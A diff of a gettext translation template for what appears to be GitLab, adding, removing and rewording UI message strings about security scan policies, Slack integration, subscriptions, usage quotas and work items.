+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -37093,9 +37729,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -37111,6 +37744,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -37120,12 +37756,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -37318,9 +37978,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37732,6 +38389,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37753,6 +38419,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -38032,7 +38701,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -38095,10 +38764,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -38113,6 +38782,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -38182,9 +38854,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -38404,9 +39073,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -38434,6 +39100,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -38464,9 +39133,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -38485,9 +39151,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -39271,6 +39934,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -39490,9 +40156,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39619,9 +40282,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39652,6 +40312,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39679,10 +40345,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39694,22 +40360,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -40207,6 +40867,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -40402,15 +41068,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40900,18 +41566,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -41128,6 +41812,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -41146,7 +41833,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -41167,9 +41854,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41662,15 +42346,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41701,6 +42376,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41983,9 +42673,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -42247,6 +42934,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -42400,6 +43090,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42604,6 +43297,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42952,6 +43648,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -43054,21 +43753,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -43291,6 +43996,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -43366,9 +44074,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43573,7 +44278,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -44023,6 +44728,15 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -44239,7 +44953,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44536,24 +45250,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44662,15 +45364,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44842,6 +45541,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44884,6 +45586,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -45064,6 +45769,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -45103,6 +45811,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -45172,6 +45883,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -45334,15 +46048,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -45373,15 +46081,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -45439,24 +46141,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -45484,9 +46174,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -45505,15 +46192,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45670,6 +46351,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45730,6 +46414,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45904,9 +46594,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45973,10 +46660,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -46144,10 +46831,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -46339,6 +47023,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -46351,9 +47038,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -46423,6 +47107,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46525,6 +47212,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46561,6 +47251,9 @@ msgstr[5] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46573,6 +47266,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46597,9 +47293,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -47332,10 +48025,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47791,9 +48484,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47884,6 +48589,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47893,7 +48601,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47926,7 +48634,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47980,6 +48688,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -48001,6 +48715,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -48109,6 +48829,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -48241,9 +48964,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -48334,6 +49054,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -48373,9 +49096,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -48391,7 +49111,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -48484,7 +49204,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -48517,6 +49237,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48634,6 +49357,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48787,8 +49513,14 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "YouTube"
msgstr ""
@@ -49030,6 +49762,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -49057,7 +49792,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -49138,6 +49873,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -49351,6 +50089,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49603,10 +50344,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49771,9 +50515,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -50290,9 +51031,6 @@ msgstr ""
